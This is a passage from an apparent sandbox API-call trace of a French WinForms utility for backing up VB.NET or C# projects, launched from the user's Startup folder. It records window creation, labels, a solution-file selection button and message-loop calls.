lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.648] SendMessageW (hWnd=0x10180, Msg=0x2210, wParam=0x1800001, lParam=0x10180) returned 0x0 [0221.648] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x2210, wParam=0x1800001, lParam=0x10180) returned 0x0 [0221.648] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.648] GetParent (hWnd=0x10180) returned 0x1016e [0221.648] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.648] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.649] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.649] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=58, nWidth=0, nHeight=13, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10182 [0221.649] SetWindowLongW (hWnd=0x10182, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.649] GetWindowLongW (hWnd=0x10182, nIndex=-4) returned 1894758601 [0221.649] SetWindowLongW (hWnd=0x10182, nIndex=-4, dwNewLong=5747542) returned 1894758601 [0221.649] GetWindowLongW (hWnd=0x10182, nIndex=-4) returned 5747542 [0221.649] GetWindowLongW (hWnd=0x10182, nIndex=-16) returned 1174405133 [0221.649] GetWindowLongW (hWnd=0x10182, nIndex=-12) returned 0 [0221.649] SetWindowLongW (hWnd=0x10182, nIndex=-12, dwNewLong=65922) returned 0 [0221.649] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.649] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.650] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.650] GetWindow (hWnd=0x10182, uCmd=0x3) returned 0x10180 [0221.650] GetClientRect (in: hWnd=0x10182, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.650] GetWindowRect (in: hWnd=0x10182, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.650] GetParent (hWnd=0x10182) returned 0x1016e [0221.650] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.650] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.650] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x3, wParam=0x0, lParam=0x3a00b5) returned 0x0 [0221.650] GetClientRect (in: hWnd=0x10182, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.650] GetWindowRect (in: hWnd=0x10182, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.650] GetParent (hWnd=0x10182) returned 0x1016e [0221.650] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.650] SendMessageW (hWnd=0x10182, Msg=0x2210, wParam=0x1820001, lParam=0x10182) returned 0x0 [0221.650] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x2210, wParam=0x1820001, lParam=0x10182) returned 0x0 [0221.650] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.650] GetParent (hWnd=0x10182) returned 0x1016e [0221.650] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.651] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.651] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.651] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Fichier solution du projet :", dwStyle=0x5680000d, X=12, Y=53, nWidth=163, nHeight=23, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10184 [0221.651] SetWindowLongW (hWnd=0x10184, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.651] GetWindowLongW (hWnd=0x10184, nIndex=-4) returned 1894758601 [0221.651] SetWindowLongW (hWnd=0x10184, nIndex=-4, dwNewLong=5747582) returned 1894758601 [0221.651] GetWindowLongW (hWnd=0x10184, nIndex=-4) returned 5747582 [0221.651] GetWindowLongW (hWnd=0x10184, nIndex=-16) returned 1182793741 [0221.651] GetWindowLongW (hWnd=0x10184, nIndex=-12) returned 0 [0221.651] SetWindowLongW (hWnd=0x10184, nIndex=-12, dwNewLong=65924) returned 0 [0221.651] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.652] GetWindow (hWnd=0x10184, uCmd=0x3) returned 0x10182 [0221.652] GetClientRect (in: hWnd=0x10184, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.652] GetWindowRect (in: hWnd=0x10184, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.652] GetParent (hWnd=0x10184) returned 0x1016e [0221.652] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.652] SetWindowTextW (hWnd=0x10184, lpString="Fichier solution du projet :") returned 1 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xc, wParam=0x0, lParam=0x22cd5e4) returned 0x1 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x3, wParam=0x0, lParam=0x36000d) returned 0x0 [0221.652] GetClientRect (in: hWnd=0x10184, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.652] GetWindowRect (in: hWnd=0x10184, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.652] GetParent (hWnd=0x10184) returned 0x1016e [0221.652] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.652] SendMessageW (hWnd=0x10184, Msg=0x2210, wParam=0x1840001, lParam=0x10184) returned 0x0 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x2210, wParam=0x1840001, lParam=0x10184) returned 0x0 [0221.652] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.653] GetParent (hWnd=0x10184) returned 0x1016e [0221.653] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.653] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x22ed218 | out: lpWndClass=0x22ed218) returned 1 [0221.653] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.654] CoTaskMemAlloc (cb=0x58) returned 0x6585a0 [0221.654] RegisterClassW (lpWndClass=0x52e9b8) returned 0xc128 [0221.654] CoTaskMemFree (pv=0x6585a0) [0221.654] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.654] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r14_ad1", lpWindowName="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", dwStyle=0x5601000b, X=350, Y=21, nWidth=163, nHeight=29, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10186 [0221.654] SetWindowLongW (hWnd=0x10186, nIndex=-4, dwNewLong=1894823061) returned 5747622 [0221.654] GetWindowLongW (hWnd=0x10186, nIndex=-4) returned 1894823061 [0221.654] SetWindowLongW (hWnd=0x10186, nIndex=-4, dwNewLong=5747662) returned 1894823061 [0221.654] GetWindowLongW (hWnd=0x10186, nIndex=-4) returned 5747662 [0221.654] GetWindowLongW (hWnd=0x10186, nIndex=-16) returned 1174470667 [0221.654] GetWindowLongW (hWnd=0x10186, nIndex=-12) returned 0 [0221.654] SetWindowLongW (hWnd=0x10186, nIndex=-12, dwNewLong=65926) returned 0 [0221.654] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.655] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.655] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.655] SendMessageW (hWnd=0x10186, Msg=0x2055, wParam=0x10186, lParam=0x3) returned 0x2 [0221.655] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0221.655] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0221.655] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0221.655] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.655] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x10172, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] InvalidateRect (hWnd=0x10174, lpRect=0x0, bErase=1) returned 1 [0221.656] RedrawWindow (hWnd=0x10174, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x10176, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x10178, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x1017a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x1017c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x1017e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x10180, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.656] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.656] RedrawWindow (hWnd=0x10182, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.657] RedrawWindow (hWnd=0x10184, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.657] RedrawWindow (hWnd=0x10186, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.657] RedrawWindow (hWnd=0x1016e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.657] GetWindow (hWnd=0x10186, uCmd=0x3) returned 0x10184 [0221.657] GetClientRect (in: hWnd=0x10186, lpRect=0x52e2b4 | out: lpRect=0x52e2b4) returned 1 [0221.657] GetWindowRect (in: hWnd=0x10186, lpRect=0x52e2b4 | out: lpRect=0x52e2b4) returned 1 [0221.657] GetParent (hWnd=0x10186) returned 0x1016e [0221.657] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2b4, cPoints=0x2 | out: lpPoints=0x52e2b4) returned -7405888 [0221.657] SetWindowTextW (hWnd=0x10186, lpString="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e") returned 1 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xc, wParam=0x0, lParam=0x22cd68c) returned 0x1 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x5, wParam=0x0, lParam=0x1d00a3) returned 0x0 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x3, wParam=0x0, lParam=0x15015e) returned 0x0 [0221.657] GetClientRect (in: hWnd=0x10186, lpRect=0x52e30c | out: lpRect=0x52e30c) returned 1 [0221.657] GetWindowRect (in: hWnd=0x10186, lpRect=0x52e30c | out: lpRect=0x52e30c) returned 1 [0221.657] GetParent (hWnd=0x10186) returned 0x1016e [0221.657] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e30c, cPoints=0x2 | out: lpPoints=0x52e30c) returned -7405888 [0221.657] SendMessageW (hWnd=0x10186, Msg=0x2210, wParam=0x1860001, lParam=0x10186) returned 0x0 [0221.657] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x2210, wParam=0x1860001, lParam=0x10186) returned 0x0 [0221.658] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.658] GetParent (hWnd=0x10186) returned 0x1016e [0221.658] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0221.658] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.658] GetSystemMetrics (nIndex=42) returned 0 [0221.659] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ea70, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.659] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ea70) returned 0x23 [0221.908] QueryPerformanceFrequency (in: lpFrequency=0x115e98 | out: lpFrequency=0x115e98) returned 1 [0221.909] QueryPerformanceCounter (in: lpPerformanceCount=0x52e8d8 | out: lpPerformanceCount=0x52e8d8*=1808593500000) returned 1 [0221.909] CoTaskMemAlloc (cb=0x20c) returned 0x6bdd80 [0221.909] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bdd80, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0221.909] CoTaskMemFree (pv=0x6bdd80) [0221.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x52e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x70 [0221.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x52e344, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x5b [0222.093] SetForegroundWindow (hWnd=0x1016e) returned 1 [0222.229] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ea70) returned 0x0 [0222.230] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ea70) returned 0x0 [0222.255] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e820 | out: lpwndpl=0x52e820) returned 1 [0222.255] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ea70) returned 0x0 [0222.255] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e7d0 | out: lpRect=0x52e7d0) returned 1 [0222.256] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52e7d0 | out: lpRect=0x52e7d0) returned 1 [0222.256] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ea70) returned 0x0 [0222.256] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0222.256] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x83, wParam=0x1, lParam=0x52e654) returned 0x0 [0222.258] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0222.258] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0222.258] NtdllDefWindowProc_W () returned 0x0 [0222.258] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0222.260] OleInitialize (pvReserved=0x0) returned 0x0 [0222.260] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x52e830 | out: lplpMessageFilter=0x52e830*=0x0) returned 0x0 [0222.261] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0222.261] GetFocus () returned 0x0 [0222.261] SetFocus (hWnd=0x10186) returned 0x0 [0222.456] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0222.457] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0222.458] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0222.458] GetParent (hWnd=0x1016e) returned 0x0 [0222.458] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0222.458] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0222.458] InvalidateRect (hWnd=0x10172, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x10174, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x10176, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x10178, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x1017a, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x1017c, lpRect=0x0, bErase=1) returned 1 [0222.458] InvalidateRect (hWnd=0x1017e, lpRect=0x0, bErase=1) returned 1 [0222.459] InvalidateRect (hWnd=0x10180, lpRect=0x0, bErase=1) returned 1 [0222.459] InvalidateRect (hWnd=0x10182, lpRect=0x0, bErase=1) returned 1 [0222.459] InvalidateRect (hWnd=0x10184, lpRect=0x0, bErase=1) returned 1 [0222.459] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0222.459] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x52eb14 | out: lpdwProcessId=0x52eb14) returned 0x568 [0222.459] GetCurrentThreadId () returned 0x568 [0222.459] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc12a [0222.460] PostMessageW (hWnd=0x1016e, Msg=0xc12a, wParam=0x0, lParam=0x0) returned 1 [0222.460] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.460] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.460] GetSystemMetrics (nIndex=42) returned 0 [0222.460] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ea58, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.460] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ea58) returned 0x23 [0222.460] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52eea8) returned 0x0 [0222.460] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52eea8) returned 0x0 [0222.469] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.471] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec70 | out: lpwndpl=0x52ec70) returned 1 [0222.471] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ec1c | out: lpRect=0x52ec1c) returned 1 [0222.471] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.471] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.471] GetSystemMetrics (nIndex=42) returned 0 [0222.471] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52eaac, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.471] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52eaac) returned 0x23 [0222.471] GetClientRect (in: hWnd=0x1016e, lpRect=0x52eb24 | out: lpRect=0x52eb24) returned 1 [0222.474] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x57b3f6, dwData=0x0) returned 1 [0222.475] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52e78c | out: lpmi=0x52e78c) returned 1 [0222.475] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xd0106b0 [0222.475] GetDeviceCaps (hdc=0xd0106b0, index=12) returned 32 [0222.475] GetDeviceCaps (hdc=0xd0106b0, index=14) returned 1 [0222.475] DeleteDC (hdc=0xd0106b0) returned 1 [0222.475] GetCurrentObject (hdc=0x1401007f, type=0x1) returned 0x1b00017 [0222.475] GetCurrentObject (hdc=0x1401007f, type=0x2) returned 0x1900010 [0222.475] GetCurrentObject (hdc=0x1401007f, type=0x7) returned 0x110501d4 [0222.475] GetCurrentObject (hdc=0x1401007f, type=0x6) returned 0x18a002e [0222.475] SaveDC (hdc=0x1401007f) returned 1 [0222.475] GetNearestColor (hdc=0x1401007f, color=0xf0f0f0) returned 0xf0f0f0 [0222.476] CreateSolidBrush (color=0xf0f0f0) returned 0x51006b3 [0222.477] FillRect (hDC=0x1401007f, lprc=0x52e9c4, hbr=0x51006b3) returned 1 [0222.477] DeleteObject (ho=0x51006b3) returned 1 [0222.477] RestoreDC (hdc=0x1401007f, nSavedDC=-1) returned 1 [0222.481] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.481] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.546] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x14, wParam=0x1401007f, lParam=0x0) returned 0x1 [0222.546] SetTextColor (hdc=0x1401007f, color=0x0) returned 0x0 [0222.546] SetBkColor (hdc=0x1401007f, color=0xffffff) returned 0xffffff [0222.549] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.549] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.550] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.550] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.551] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.551] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x14, wParam=0x60106b7, lParam=0x0) returned 0x1 [0222.551] GetStockObject (i=5) returned 0x1900015 [0222.551] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec58 | out: lpwndpl=0x52ec58) returned 1 [0222.551] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52eea8) returned 0x0 [0222.551] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ec08 | out: lpRect=0x52ec08) returned 1 [0222.551] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ec08 | out: lpRect=0x52ec08) returned 1 [0222.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x5, wParam=0x0, lParam=0x28d0320) returned 0x0 [0222.552] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x3, wParam=0x0, lParam=0x720140) returned 0x0 [0222.552] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ec34 | out: lpRect=0x52ec34) returned 1 [0222.552] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ec34 | out: lpRect=0x52ec34) returned 1 [0222.552] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.553] IsWindowUnicode (hWnd=0x10174) returned 1 [0222.553] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.553] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.553] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.553] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0222.556] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.556] GetMessageA (in: lpMsg=0x52ef98, hWnd=0x0, 